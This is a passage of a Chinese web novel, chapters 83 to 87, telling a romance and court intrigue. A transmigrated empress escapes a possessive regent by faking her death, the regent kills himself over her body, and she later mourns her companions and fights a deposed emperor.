夜晚,慕容熙一如既往地贴过来,包办了上官梨的所有贴身事宜,对于上官梨没有真切的出轨一事,表现出了十足的遗憾,仿佛上官梨这皇后就该是他的皇后一样。 虽然拿男人的事问另一个男人很缺德,但上官梨巴不得慕容熙赶紧被克死,或者自己被克死也行。 再加上她实在好奇,还是把事情模糊了一下,问能够洞察人心的慕容熙: “为什么谢厌会哭成那样?” 慕容熙冷笑一声,拿泡了芝麻叶的水,给上官梨轻轻地洗头发,柔声道:“琼华谢氏这样一个冷酷无情的配种家族,你指望里面的人会有怎样幸福而快乐的人生呢?一个二个都端的要死,实际上却是给两句好听的话就巴巴地舔上来的哈巴狗。” “这种人就是蜱虫。”慕容熙在上官梨耳畔甜甜蜜蜜地说起了对方的坏话,“见惯了恶语和讥讽。一旦意识到您是真的会爱人的,并不是嘴上的空话,立刻会像蜱虫见到血一样咬上来,希望从您这里得从未有过的甜头。” 忽略掉慕容熙难听的话,上官梨意识到原来是因为谢厌太缺爱,而上官梨是真心的。这简直就像是地狱笑话一样,让人难以相信。 慕容熙不忘夸赞自己:“我就不一样了,我和那种需要你提供情绪价值的人不同,我会一直在你的身边,哪怕你想要大阜被我们吃掉的土地,我也可以给你。” 他强迫上官梨转过脸,看着他。 上官梨脸上还有许多皂角的泡沫,皱着眉,慕容熙的笑容反而更大了,柔声道: “梨儿啊,我和他比谁更好?” 84. 第84章 魂非此间人 “你们两个都一样烂。” 上官梨恶狠狠地盯着他,眼睛黑白分明,目光清醒,从未有一丝迷惘。 慕容熙笑了笑,像是对这种答案早有预料。 他只是拿清水将她脸上的泡沫洗掉,给她把脸颊擦干净,把这苍白而近乎完美的女子躯体从浴桶中捞出来,用柔软的毛巾裹住。 这感觉太奇怪了。 如果这人真有色心就好了,但偏他没有。 只是用各种亲昵而越界的行为在这里活活折磨上官梨,阎王的位置应该让他坐坐。 上官梨警惕地盯着他,眼神中透出疑问:“?” “梨儿啊,你不就是想要解药吗?” 慕容熙苍白的手指从怀中掏出一个素白的瓷瓶,上官梨的目光立刻就被吸引过去了。 慕容熙此人涵养太好了,表演占比过重,让上官梨完全读不懂他的内心想法。 “这就是解药。” “给你了。” 上官梨:? 那银瓶就这么被放到了上官梨手中。上官梨的手心还有未擦干的水渍,滑溜溜地捏在手中,有着十足的不真实感。 “是不是像其他药馆一样,里面还下了别的毒?”这是最有可能的情况,上官梨理智地分析。 “大人,你要相信我。解药给你了,就是不希望你再受毒素的制肘,何必要多此一举呢?”慕容熙可怜兮兮地说,“我的真心日月可鉴。” 上官梨看看手中的解药,又看看表演痕迹颇重的慕容熙。 搞不懂这人在想什么。 上官梨不是会想太多的人。 是或是不是,她尝尝就是了。 上官梨当即拔出软木塞,慕容熙提醒她:“要连服三日,毒素才会散尽。” 上官梨将信将疑地把一粒药丸倒出咽了,道:“你知道,如果我恢复行动能力,那时就是你的死期吧?” 慕容熙幸福地说:“我知道。” 他话音一转,说出的话,就不那么让上官梨爱听了:“梨儿啊,你是否也知道,华姐姐一直想见您一面?可惜阴差阳错,因缘际会,兰因絮果,在我的重重阻碍下,幸好终究未能如愿。” “这是威胁吗?”上官梨说,“我不在乎她。” “华姐姐是没用的人。”慕容熙很赞同地说,“没用的人就该被抛弃,对吧?” . 第二日,上官梨的力气恢复了一些,虽然连正常人的力气也没有达到,但这已经足够让她震惊。 那居然真的是解药??? 上官梨坐在床上,不知道应该作何感想。 作为中间夹杂着真正血海深仇的敌人,上官梨没有对慕容熙从原生家庭到生长环境的研究兴趣,只对他的脑袋有兴趣。 此时也难免升腾起了巨大的困惑。 慕容熙终于穿得整整齐齐得像一个端庄持重的王爷一样,来了上官梨的宫殿。 他眼眸中闪烁着金灿灿的光,人的眼睛是不会发光的,那是大秉晚秋少见的日光折射出来的样子。 上官梨警惕地注视着他,慕容熙甜蜜地搂住上官梨的肩膀:“快来,我有一份礼物要送给你。” 上官梨困惑地被他推去梳洗,直到自己也被套上一件严肃而庄重的礼服的时候,骤然意识到不对。 他要送的礼物是什么? 什么东西有这么大的阵仗? 殿外跪着杂七杂八的人,上官梨对他们的脸不熟,看衣服应该都是很贵重的人物吧? 慕容熙劈手从108世慕容微手中夺过那金灿灿的圣旨,亲昵地将上官梨搂在怀中,只用一只手唰地将圣旨展开了,微笑着说:“梨儿啊,来看看你的礼物吧?” 这等僭越的举动,竟无一人敢反驳。 上官梨的心弦紧紧绷着,目光不受控制地向下看去: “奉天承运皇帝,诏曰──” “今战后乱象,大阜遗民,不服管教之故。” “然天下分久必合,乃自然规律。现发布政令,宽于刑罚,鼓励通婚。” “百年之后,国必兴矣。” “......” 上官梨怎么也不会想到是这样的一份圣旨。不敢置信地看了又看。每一笔笔画的弧度都告诉她,这是慕容熙亲手拟的。 她甚至连圣旨是否是双层的这种荒谬的想象都想出来了,也不敢相信是真的。 虽然僭越,但她甚至没有办法说慕容熙是疯子。 天呐,能颁布这种政令,简直是当世的明君啊! 慕容熙把圣旨收了起来,柔声问她,声音仿佛从地狱里爬出来的恶魔的吐息:“梨儿啊,你满意吗?” “若你不满意,我们还可以再议。” 慕容熙轻轻碰触着她面帘上的东珠,这是一个十分僭越的举动,串珠碰撞的声音十分扰人,但上官梨暂时没有空闲去管他。 “我有想过让你复国。”慕容熙有点遗憾地说,“但是没用的华姐姐是告诉了我一点有用的事。” “你魂非此间人,那么只需要看到此地幸福安康,是叫大阜还是叫大秉,又有什么区别呢?” “只要你真心对我,在我活着的时候,自然可以保一国无忧。” 慕容熙挥了挥手,自然有忠心的部下给他递上一把短刃。 他把那短刃放到上官梨的手中。 上官梨的力气已经恢复了一些,把这短刃捅到别人腹中,也是轻而易举的事,不需要花费多大力气,哪怕是一个3岁小孩都可以做到。 “你会选我吗?还是选择毁灭世界呢?” 慕容熙微笑着问道。 他毫无防备,仿佛笃定上官梨不会下手。 上官梨陷入了沉默,睫毛在面颊上打下浓重的阴影。 上官梨此时的感觉就像是自己变成了一个穿着开裆裤的3岁小儿,握着核武器的按钮,面对高数题哇哇大哭。 她能够按下这个核武器的按钮,毁灭世界。但是毁灭世界了,高数题也依然只有面前这唯一一个数学家可以解出来。 当啷! 上官梨把短匕扔了。 慕容熙亲昵地揽住她的腰回到殿中,这人对肢体接触有一种莫名的热衷。仿佛把这种世纪难题提出的人不是他一样。 他让这些败坏气氛的人全部散了,重新开始甜甜蜜蜜地喂上官梨吃早饭。 就像他早安排好的那样,海鲜粥还热腾腾地冒着热气,是最适宜入口的温度。 . 上官梨错了。 大阜的毁灭虽然有天时地利的因素,但人和必不可少。 在这里所有的畸形的观念都来自于他,他是一个超凡的车王,驾驶着这列畸形的列车在世界上横冲直撞,并取得胜利。 绝对是一个可怕的对手。 绝对不能碰。 一旦你碰了这种人,被这种人爱上,被这种人看上,会是一辈子的痛苦。 如果认同了他,思想就会变得扭曲。如果不顺从他,慕容熙会想方设法让上官梨顺从他。大部分时候他还真的有办法。 世上没有任何锁可以锁住上官梨,但在慕容熙身边上官梨已经感受到了毫无隐私和自我的窒息,现在她将感受到绝不自由的自由。 . 谢厌按约进宫赴约。 皇后的毒却已经解了,她整个人的气色好了许多,情绪却莫名地低落下去,谢厌正觉得奇怪。 啪嗒。 上官梨的手指死死地抓着他胸前的衣着,几滴温热的水液从那东珠织成的面帘下滑落,滚烫到仿佛能够灼烧人的皮肤。 “杀了我吧?” 上官梨知道,如果在慕容熙的控制下,她绝对会健健康康的长命百岁,她的身体素质和慕容熙的权力能够做到这一点,或许千年后史书上还会有她的美名。 “我其实和你有仇,真的有仇。我是大阜亡国皇后上官梨!你还记得我么?” “你快杀了我,就可以大仇得报了。” “你......”巨大的信息量下,谢厌不知道该作何反应,上官梨莫名踉跄,而谢厌只能下意识地扶住她的手臂,感受到女子的颤抖。 上官梨捂住脸,发出可怜的呜咽声,像野兽在陷阱中发出的濒死的挣扎。 在谢厌心中,上官梨是个疯子一样的女人,而皇后是个柔情而开朗的女人。 两种印象相差甚大,谢厌没有办法将她们和眼前这个哭泣的可怜女子联系到一起。 大约是他本来就不甚了解女子,无法理解这种生物的行为逻辑。 他生在大秉这个倒霉家族中,他就注定无法理解。正常人的感情都已经离他远去了。 在这里,哭泣是懦弱,笑容是谄媚,应答是欺骗,记住了,只有你自己才能保护自己。 所谓心痛、欣赏与心悦,不过是梦中才会出现的事情。 谢厌叹了口气,坐在她身侧的椅子上,说:“你别哭了。” “不就是不想做皇后吗?” “我有办法可以让你假死出宫,就是比较痛苦。” 上官梨正兀自烦恼,骤然听见谢厌居然狗嘴里吐出了象牙,难以置信地望着他。 “等等,你是不是在给我下套?”谢厌很警惕,又不说下文了。 “谢厌哥哥,求你了。”上官梨立刻抛弃所有的脸皮,再和慕容熙相处下去,她真的要疯了。 人到濒死的时候,什么话都说得出来,她立刻努力地谄媚:“若是你救我,我可以以身相许。” 到底看了什么老掉牙的戏文? 谢厌道:“我不需要。只需要你答应我一件事。” 谢厌俯身在上官梨耳边说了一句什么,上官梨的眼睛微微瞪大了些。 谢厌从袖中拿出个漆黑的瓷瓶,丢进上官梨怀中,解释了一番。 这药服用后药性游走全身,忧思多梦,三日后毒发可造成假死效果,唯一的问题是比较痛苦。 “它叫什么?”上官梨定了定神说。 这女子捧着毒药,像是终于获取了新生的希望,十分欣喜。谢厌盯着她,轻声说: “有悔。” 85. 第85章 魂灭未有悔 有种甜甜的香味。 像是草木根茎的味道。 脑袋枕在柔软的大腿上,脸颊被裙摆的褶皱压出了一道红印。 有个温柔的女声唤她:“诗涵。” 上官梨的意识依然很不清醒,有悔毒发的剧痛仿佛还刻印在身体中,神经末梢偶尔都发出细微的呻吟。 如果在刚见过谢厌之后就毒发,哪怕慕容熙是个傻子,也能意识到其中不对。 所以上官梨忍耐到了年关,这绝对是她人生中最漫长的一段日子。 大约是她从来没有过这样手足无措、孤立无援的日子,所以会格外的想母亲吧。 不然怎么会看到礼戎轻轻抚摸着她的长发? 礼戎垂眼看她,眼角弯下的弧度和上官梨一模一样,语气温柔:“诗涵。” “妈妈!” 上官梨猛然起身,扑进礼戎的怀里,熟悉的温度和香气让她想哭。 “我好想你......!” “我也是。”礼戎眼角滑下一滴泪来,细细的,颤抖着,“我的宝贝,我天赐的礼物,自己一个人生活,要吃多少苦呢?” “我可是天才呀。”上官梨压下咽喉的哽咽,习惯性地说,“我在哪里都会过得很好的!所以你也不用担心啦,要照顾好自己。” “听我说。”礼戎捧住上官梨满是泪痕的脸颊,认真地说,“诗涵,你想回家吗?” 大约是毒性引起的神经错乱,大脑给自己编制出了自己最想看到的幻境。 上官梨当然是想的。 开玩笑,她日思夜想梦寐以求每月都去庙里上香好不好! 有哪个现代人不想回家呢? “......”上官梨长长的吸了一口气,略微后退了些,露出了一个释然的微笑,说,“不,我回不去啦。” “为什么?”礼戎紧紧地抓着她的胳臂,仿佛要把这个她怀胎十月生下来的孩子重新揉回她的身体里,心碎地说,“你不愿意和妈妈一起生活了吗?” “我把异世界搞得一团糟,当然也不全是因为我的原因,这里本来就超级糟糕。”上官梨用带着点抱怨的撒娇的语气,道,“但这里的人因为我而死,我就要对此负责。” “所以我不回家吃饭啦。” “也告诉爸爸,我也很想他。” 在上官梨做出选择的瞬间,周遭的一切仿佛如潮水般褪去,礼戎的声音也变得模糊不清。 上官梨知道,这是假死的效果褪去,自己的大脑不再被毒素影响,变得清醒。 至少她听清了母亲留下的最后一句话: “诗涵,我可怜的、可爱的女儿。你随时都可以回来,我会一直等着你。” “——怎么还没醒?是不是你收钱不办事?把她的尸体偷出来晚了?!” 燕衔杯已经指天指地发誓了100次,对于这种以身入局,灭掉残暴皇帝的女子只是敬佩,拼命也不会让上官梨因为他而丢命的。 但此时面对焦躁的慕容轻的连番指责,也只能祈求上天垂怜了:“天地可鉴啊。” “好冷。” 上官梨面上还有着干涸的血痕,她不舒服地伸手想去抓挠,触到了燕衔杯肩头的一缕薄雪。 慢慢苏醒的五感告诉她,现在她是伏在一个人的背上,正缓慢而小心地移动着。 她呼出了一口白气,融化了些许纷纷扬扬落下的雪花。 “醒了!”慕容轻最先发现,小心而雀跃地说,“在等待你醒来这段时间,我已经透支了我未来十年的许愿额度。” “而我大概是透支了我一生的。” 死里逃生非常消耗元气,上官梨有气无力把脸颊靠在燕衔杯的肩背上,眼神涣散地打量四周:“我还以为我要在陵墓中被挖出来呢。” “时间赶不及,您会真的死掉的,毕竟现在琼华乱成一锅粥。” 街上的行人都是步履匆匆,神情惶恐,摩肩接踵。他们大约是在赶往出城的路上。 一提到这事,上官梨就后背生寒,此生再也不想碰见任何性格偏执的人物。 她气若游丝地说:“趁慕容熙没发现,我们快离开琼华吧。离他越远,就会越靠近幸福。” 燕衔杯的动作迟疑了一下,慕容轻的神色也变得小心翼翼了起来:“大人......” 上官梨此人原本是非常不会察言观色的,但最后与慕容熙相处的这短短几个月,慕容熙总能精准地从她的表情出她的内心所想,这太惊悚了。 大约是近朱者黑,上官梨读空气的能力突飞猛进。 她心中警铃大响,说:“怎么了?难道我已经被通缉了?我们要不去大燹躲躲?” “不是。”慕容轻一边小心谨慎地移动,一边压低自己的帷帽,轻声地说:“慕容熙死了。” “他们都说是您杀的。” “......难道不是?” 这也太冤了。 上官梨从来没有像现在一样觉得自己这辈子大约是跳进黄河也洗不清了,急得她一个刚死里逃生的人都中气十足了些:“不是我!” “我如果杀了他,大秉,大阜旧地,不就得乱起来,又有许多人死掉吗?” “我只是吃了有悔,自己想办法逃出来而已!” “是不是消息有误?慕容熙这个人惯常会用替身的,他给慕容微找了108个替身,你知道吗?” 慕容轻轻声说:“消息不会有误的。现在朝堂上被慕容微的替身们占据了,每一个都说自己是正牌的。除非真正的掌权者已经死了,否则怎么会让这些人出来丢脸呢?” “怎么会?” 慕容熙神出鬼没的踪迹,和高高在上的权力,谁能奈何得了他? “除非......”短暂的相处,上官梨虽然没有和这个人从原生家庭聊到童年创伤,但也是对此人有着不亚于母亲的理解。 她想到了一种可能性,一种真正的,是由她而带来的可能性,一种疯子带崩所有人的可能性。 燕衔杯微微转过头来看她,慕容轻屏息凝神。上官梨难以置信的声音比外面的冰雪还寒凉,说: “除非他跟我殉情了!” . 12个时辰以前。 不祥的钟声响起,代表皇后薨逝的消息传遍整个宫中。 皇太后拎着酒坛,来到可怜皇后的华丽宫殿。 据说死的时候七窍流血,不知道吃的是哪种毒药,一定痛苦无比吧? 皇太后又闷了一口酒,心想,何必呢?在宫中也有许多乐子去寻。就算一辈子活在别人的控制之下,也自有酒中极乐地。 如果不能改变处境,就也可以改向迷醉自己,不要去想那么多。 而酿成这一切的罪魁祸首,正拿棉布轻轻地擦拭她的脸颊,把面容上的血渍擦擦干净,她仿佛就像睡着了一般。 慕容熙一生所求的最高贵之人。 为什么不选择他呢?他明明是最好的选择呀。 如果他是14岁的话,也可以谈一下原生家庭的创伤什么的。 虽然他是自己所在的原生家 庭中最大的创伤。 但是在这样铁石心肠的人心中,也是有过一个像蚂蚁坑那样小小的疮疤,就是小时候太子不选他做。 虽然定立太子的时候,他根本就没有出生。但是他出生了之后,还让慕容微当太子,就是对他的不尊重。 于是他把慕容微那家伙踢下了台阶,没想到,父皇还是不选他。母亲告诉慕容熙,这是因为他不是亲生的,父皇看他和自己长得不像,比较于心不安。 慕容熙当即大怒。 外室子又怎么了?被他慕容熙喊爹,不是皇帝的荣幸吗? 他是天生的恶种,很快就架空了权力,把这父子折磨得哭爹喊娘。 皇位的游戏太简单了,所有的东西在他眼前如明镜般透彻。 但是这蚂蚁坑洞依然在不停地折磨他。 大约高处不胜寒的人就是这样的,人一旦有了财富,就不再会寻求财富,有了权力,就不再会寻求权力。 慕容熙毕生所求的,是自己没有的东西。 曾经有自持高风亮节的大臣在他面前死谏,但慕容熙很欣赏,但他不过稍加引导。 很快,这大臣就因为暴露贪污受贿还逛青楼,很快就失去了拥趸,不得不卑躬屈膝,俯首帖耳,做他的犬马。 真是遗憾,如果他继续死谏,慕容熙很有兴趣把皇位给他坐坐的。 他不停地施行以寻找为名的折磨,但连他这个真正的君主都没有的东西,底下的人上行下效,更是不可能会有的。 直到上官梨的出现。 她是我这种贱人绝不会有的东西。 她是比起父皇、比起兄长、比起名臣来说,更加高贵之人。 你能填补那个蚂蚁留下来的空洞吗? 我会为你织出锦绣的衣服、建造安逸的宫殿,提供无法拒绝的许诺,并施以扭曲本性的要求。 你还能像原来一样吗? 上官梨用她冰冷的尸体告诉他:能。 “哈哈哈哈哈哈哈哈哈!” 慕容熙低低地笑了起来,他的皮相也是顶尖,笑的连眼泪都出来了,带着一丝鬼魅。 皇太后退后两步,以为自己儿子终于彻底疯了。 而实际上也差不多。 “我要让你后悔离开我。”慕容熙喃喃自语,语气中是从未有过的情真意切,心脏跳动得快要死掉了,从未真切地意识到自己正在活着。 “因为在我身边才是你最好的选择。” “哪怕你的灵魂在地府等待转世,也依然会因为自己决定死掉的这个决策而发出哀哀悲鸣!” “?” 皇太后又后退两步。 她这个决定是正确的。 因为慕容熙毫无征兆地拔出腰间配剑,一剑劈向自己脖颈,鲜血喷涌而出,谁也无法反应过来。如果皇太后靠近了,就要被疯子的血感染了。 慕容熙很清楚,大秉是一辆失控的马车,在悬崖上狂奔。 而一直以来拖着它的是慕容熙这匹疯马。 如果没有慕容熙这匹疯马,马车就要坠落万丈深渊了。 “希望我的死能给你带来痛苦。”慕容熙捂住漏风的喉管,在皇太后的尖叫中微笑,鲜血溅到上官梨的唇角,仿佛她也在笑。 他这个濒死的人对上官梨这个死人恶狠狠地说:“阴曹地府见。” 在可预见的城中骚乱、往来士兵,惶恐民众、纷乱朝堂下,慕容熙伏在上官梨胸口,安然闭上了眼睛。 谁能想到战乱将因为这种可笑的原因而起? 86. 第86章 扭曲的间幕 “琼华待不下去了。” 不管事实再如何惊世骇俗,慕容轻始终是冷静的:“木已成舟,无论发生什么,也只好事后补救!” 上官梨点点头。 燕衔杯背着上官梨迅速转过一个巷口。 黛兔领着两匹矮于它的马,神气十足地站在那里。 上官梨安心了许多,趴在它的背上,脸颊蹭在它油光发亮的鬃毛上。许久不见,亲昵更胜往前。她蹭了两下,才问:“我们去哪里?” “庐州距琼华不远不近。”慕容轻迅速做出判断,“这地方萧条,也没听说过什么不好的传闻。我们去那里先避避风头。” 慕容轻从怀中抽出两根金条,随手扔给燕衔杯,说:“你的报酬就此结清。” 燕衔杯接了金条,听见庐州两个字,神情有些许古怪,留在原地迟疑片刻,纵马也跟上两人。 他道:“庐州与我有些渊源,我本也要赶去,不如同行。” 慕容轻看向上官梨,燕衔杯是绝无仅有的武学高手,有他相助,至少能省去许多麻烦。 上官梨想不出来有什么理由拒绝。 燕衔杯是个雇佣侠,而她还是有些积蓄,在钱花光之前,不用担心燕衔杯背刺她。 于是她也点头,道:“好,走吧!” . 如果让上官梨再选一次,她绝对不会带上燕衔杯。 但是,就算她不穿越过来,令君如依然会篡位,慕容熙会感到无聊而自裁,王怀璟的最终目的就是弃官而去,苏长久会建立别的组织控制大燹。 庐州也终究会因为燕衔杯的侠义而毁。 而她不过是芸芸众生中的一员。 黛兔的肚子瘪瘪的,不断地拿脑袋拱上官梨的背部,让上官梨手中的刻刀都歪了几分,慕容轻的轻字中多了一道歪歪扭扭的竖线。 “好马儿。”上官梨连忙胡噜了几把马头,“再耐心些,等我刻完这石碑,我便带你去吃草,好吗?” 马儿打了一个响鼻,又拱了拱上官梨的脑袋,它是聪明而忠心的马儿。 但是上官梨已经重复这句话三日三夜了。 又下雪了。 上官梨已经数不清这是第几个冬天。 雪落在满山满谷的石碑上,庐州城中寂静无声,城外坟冢的弧度被厚厚的雪花抚平,像是要将此间地填埋。 她眼下有着青黑,瞳孔有着不自然的颤抖,哪怕是神仙都扛不住这么造。 她把那块刻坏了的石碑放在一边,重新又拿起刻刀,往一块崭新的石头上重新工工整整地刻下: 慕容轻之墓。 这世上最配得上皇家姓氏的人的墓碑,由这世界上最配得上皇后之位的女子亲手立起。 “希望你能转生到我的世界去。” 上官梨认认真真地在她坟前跪好,上了三炷香,烧了许多纸钱。 她太怕慕容轻没有钱用了,简直在墓前燃起熊熊大火,直冲云霄。如果慕容轻还活着,一定会面无表情地吐槽她。 浓烟滚滚四起,带着些呛人的味道。 上官梨咳嗽起来。 她已经反复做立碑、上香、烧纸的动作很久了,一连串动作被打断,她大脑一片空白,像是一根紧绷了的弦,猛地断了线。 她忽然就不知道自己在做什么了。 慕容轻往左一个,是燕小满之墓,往右一个,却是一个光秃秃的坟冢,只有这个上官梨没有立碑。 上官梨忽然有些困惑:“这是谁的坟来着?” 上官梨左右看看,没有多余的石板,连木板都没有。 那这位仁兄也就只好这样无名无姓地活下去了,上官梨已经挤不出多余的力气来砍倒树木或是铲平石头。 毕竟她有更重要的事情要去做。 ......是什么事来着? 胸口莫名其妙的闷痛,上官梨在这胀痛的提醒下,终于想起自己好像生过一个孩子,已经从少女变成母亲。 那我孩子呢? 雪花飘落在那无名的坟冢上。 人一生能承受的痛苦是有载量的,所以她认定: 找不到孩子,一定是丢了。 上官梨大怒,对黛兔道:“真是天杀的人贩子,连我的孩子都敢偷,不知道我是谁吗?” 马儿低低地嘶鸣一声,用舌头舔了舔她的手心。 “好痒。”上官梨不由自主地咯咯笑了,她轻轻地说,“你一定累坏了,走,我带你去吃草。我们接下来就算要走遍天涯海角,也一定要找回来他哦!” . “我明明让她莫要再多管闲事,立地选个寺庙出家,乖乖等我来找她。” 在几乎要磨破肌肤的风沙中,谢厌把小宝夹在胳膊底下,另一手摁着他的脑袋,控制住这孩子的所有挣扎,往远离骚乱的方向狂奔。 他嘴上还在不停地抱怨: “要是早听我的,她现在也不至于混得这么惨。你说是吗?” “你混的就很好吗?你这个黑心大夫,快放开我!” 苏竹心拼了命地挣扎,那张青紫的小脸显得格外狰狞:“你觉得我做小宝三世只是凭运气吗?在落仙阁那么多孩子中,娘一眼选中了我。” “这不比血缘更加珍贵吗?放开我,我不走!我要和娘一直在一起!” “拉倒吧你。”谢厌冷笑道,“以我对这冷心冷情的坏女人的理解,如果你死在她面前,她一定就会把你忘了,只会在午夜梦回的时候想起你。” “敢不敢与我打赌?若是你死了,她当天就能去领养一个小宝四世!” 平安丧葬馆闭门谢客,谢厌一脚踹开,孙文进依然不见人影。 他闯进去胡乱踩踏一通,果不其然,地下起码有三四个空间,大秉人就是这样狡兔三窟。 苏竹心像是被他的话镇住了,停止了反抗,狼似的圆眼睛死死地盯着他:“那若要你说,如何才能......” 谢厌徒手掀开地板,把苏竹心丢进去,铿锵有力道:“赖活着!” “只有让她杀不掉,也克不死,才有未来可言。”谢厌沾沾自喜道,“哈哈,我一定能熬死其他人!我往上数十代,自然死亡的都活到了90岁往上。” 往上数十代都短命的苏竹心:“......?” 苏竹心大骂:“你是不是有病?” 砰的一声,谢厌合上机括,把苏竹心的所有怒骂都压在地底,脸上犯贱的表情消失得一干二净。 “唉。”谢厌长叹一声,千言万语只化作一句,“夫人啊,梨儿啊。” 我忌惮的、我欣赏的、我心痛的、我喜爱的女子。 该拿你如何是好? . 他其实多虑了,梨娘所在的场面,绝没有他设想的那么恐怖与孤立无援。 应该说,其实原本应该是那样的场面,但因为是梨娘在的缘故,所以场面变得有一丝好笑。 疯皇帝想要梨娘。 从个人感情和技术角度来说,囫囵个的梨娘本人比大卸八块的梨娘本人要重要的多。 他们现在用的□□,图纸是梨娘曾经画出来的。TNT,是从林泉偷出来的。 没有梨娘,疯皇帝是没有办法实现征服世界的妄想,也没有办法立深情而无悔的人设虐粉。 没有人敢对梨娘开枪,而梨娘本人战斗 力这么多人间祸害的折磨下着实不凡。 在一阵如同暴雨打梨花的金属敲击声后,周围人手中兵器被击落,插不上手也不敢插手,只能尴尬地围成一圈,看梨娘把疯皇帝按在地上疯狂殴打。 “这几年来,你躲得真好。” 王宇航的脸和王余的脸,本来就长得不像。光阴如梭,现在更是看不出任何一点曾经的影子了。 梨娘下手毫不手软,看着他的眼神,像是看着什么冰冷的死物: “我只是想普普通通的过日子而已!” “我本来都快把你忘了......为什么你还要在我眼前出现呢?” “你怎么能把我忘了?”这句话像是触到了王宇航的什么逆鳞,从喉咙中咳出一口滚烫的鲜血,再也顾不得什么,大吼道,“只有我们两个是特殊的!只有我们两个可以彼此理解。我以为你懂的!” “你在记忆里也太美化自己了吧?” 梨娘冷冰冰地否认了,她的平静是十分伤人的,她说:“在我一生中遇到的人中,你太普通了!” 王宇航僵住了,梨娘还嫌不够似地,又补充: “你不会是我杀的第一个人,也不是最后一个人。” “不是我真心所爱的那个人,也不是我最恨的那个人。” “就算你死掉,我给你烧纸也会烧得比别人少的!” 梨娘的诚实是非常让人可悲的,在漫长的岁月中,她也终于学会了怎么往人心尖上捅刀子。 这简直否认了王宇航此生的意义。 让他心跳几乎停摆,连脸颊上传来的剧痛都感受不到了,委屈而愤怒地道:“你不能那么说我!” 她甩了甩拳头上沾着的鲜血,长眉挑起,露出一个几乎是可爱的娇笑,道:“你还没长大吗?” 最宝贵的财产可以殴打会长。 但是地助会是疯皇帝在前人基础上一手拉扯起来的帮派,疯皇帝自然是不能死的这么小丑的。 鸩鬼们面面相觑,拼着挨梨娘势大力沉的拳头,将梨娘从疯皇帝身上撕扯开。 梨娘有了却一切之意。 这一切因她而始,就应该因她而终。 至少王宇航是由梨娘带来的灾祸,就应该被她所收走。至于往后......梨娘已经很久不想之后的事了。 过一天,是一天,什么时候生病就什么时候死掉。 咻! 梨娘的听觉很敏锐,在这嘈杂纷乱的环境中,只有她听到了这微小的破空声响,下意识地侧头望去。 又因为那人技艺之高超,袖箭精准避开了嘈杂的人群,在上官梨的耳侧划出一道血痕,直指王宇航的眉心。 一声几乎令人牙酸的入肉声响,梨娘的瞳孔猛然缩小! 但,箭头已经没入了前额叶。 死亡来得如此之快,来得如此之迅速。 其实这一切的发生早有预兆,当这样劣迹斑斑的前皇帝从藏身许久的暗处来到天光下之时,当天下第一的剑客在哭泣的妻子面前立下杀戮的誓言之时,就注定了许多人的死期。 这对王宇航来说,却并不突然。 死在梨娘面前,是他早就规划好的人生路径。从小到大,从未变过。 在失去视力前,王宇航都依然死死地盯着梨娘,看着她的美目睁大,不自觉地分泌泪水。 那不是一副快意的表情。 原来她并不像她说的那样毫不在乎! 也或许只是她柔软的心肠,导致看不得有人在她面前死去。 谁知道呢? 王宇航将要死了,死人的想法为大。 所以梨娘一定是念旧情的。 87. 第87章 燕衔杯实在太不道德了。 这种重要的人,只有梨娘自己才能解决啊。 这样只会让梨娘对疯皇帝的执念转移到燕衔杯身上而已,并不能减轻一丝一毫她的重担,会让她继续疲于奔命。 说到底,干刺客的就是缺德,他这样真正武艺高强的刺客,更是缺了大德。 三番四次地自顾自感动,做些没有必要的事。 真怪不得他妻离子散,现在自己也变得疯魔。 人群一下子乱了起来,趁乱袭击的人、手足无措的人、想要占领首领之位的人,还有一些在浑水摸鱼的人。 梨娘干脆利落的一刀,把想要趁乱袭击她的人抹了脖子。 如果这里哪怕有十几个人的人心是齐的,梨娘也不得束手就擒,但这里太乱了,梨娘肉眼可见的有许多人正在内斗。 真是乱成一锅粥了,梨娘自己也是,大燹也是,大秉也是,大阜也是,整个世界都是。 明明想要改变世界,小时候可没有想过是这个改法。 她真是个劳碌命,梨娘抹了一把脸上的血,低头看看王宇航的尸体。 想了想,梨娘在他脖子上也抹了一刀,用匕首的背面轻轻地合上了他的眼睛。 死人的身体与活人的身体相比,是流不出太多血的。但王宇航死得很新鲜,所以依然有很多的血流出来。 好,从此这笔血债就是她的了。 虽然中间有了些小插曲,但既然王宇航的执念由她而始,就应该由她而终。 燕衔杯一定在某个角落里等着她。 明明早已两不相欠,燕衔杯却总觉得亏欠于她,并持之以恒地反方向努力着,试图进行报偿。 梨娘却是闪电般转过头,看了他一眼,匕首开道,毫不犹豫地离去。 她已经放弃和燕衔杯讲道理了。 对于梨娘而言,疯皇帝是青梅竹马,是她幸福而无忧的前半生,无论怎样,总要有个结局。 但燕衔杯就像是她路边碰见的一只凶悍的野狗。她把野狗带回家,让野狗变成家养的小狗。 小狗为人衔来猎物作为报偿,人并不想要那些血淋淋的猎物,但人听不懂小狗话,小狗也听不懂人话。 所以人还是不要随便养狗。 . 熟悉的马蹄声由远而近,谢厌一把将马鞭丢给梨娘,梨娘一鞭拍飞两个人,飞身上马,抚摸着黛兔兴奋的脖颈,看也未看这烂摊子一眼: “好马儿,我们走!” 弓弩原本瞄准梨娘的心口,燕衔杯想了又想,还是缓缓移动手臂,转换方向。 只要他手指轻微一动,这威力巨大的弓弩便可以刺穿矫健的马腿,让这无往不利的西域烈马在地上跌折自己的骨头。 他行走江湖这么久,总是心肠很硬的。 几不可闻的破风声又响起,却没能如愿,那暗器刺穿一个人的手心,又从另外一个人的肩膀穿出,溅起两泼血花。 是处刑人。 以身做肉盾,还是最忠心的那批处刑人。 苏长久并没有露面,估摸着是藏在某个角落里,用那双阴惨惨的重瞳注视着这一切,他总是十分谨慎的。 但他在大燹长久积累下来的恐惧和顺从,就算不露面,处刑人们也如臂指使。 燕衔杯啧了一声,丝毫不恋战,转身就走。 他不会放过梨娘的。 直到世界上所有亏欠过梨娘的人都死亡,梨娘也坠入那深沉而久远的梦境,他自己也战死为止。 他永远不会放下。 . 如果燕衔杯想走,是没有人能够拦住他的。 处刑人们迅速席卷了这片地方,他们骁勇善战,而且具有丰富的抄家灭族的经验,不是这些刚刚生出反抗心的人所能抵抗的。 抓的抓,杀的杀,不看一地的断壁残垣和仍在熊熊燃烧的一条街市,永熹即将又恢复平静,只留待下一次反抗的来临。 张曲平扶着被割喉的青禾,那条假肢让她的步伐和常人不同,也能够承担更多的重量。 青禾一直在哭,声嘶力竭,血沫从裸露的喉管和口腔中喷出来,看起来有五分的可怜,又更有十分的可怖。 张曲平一把年纪被她哭得头都大了,问苏长久: “不把她找回来吗?” 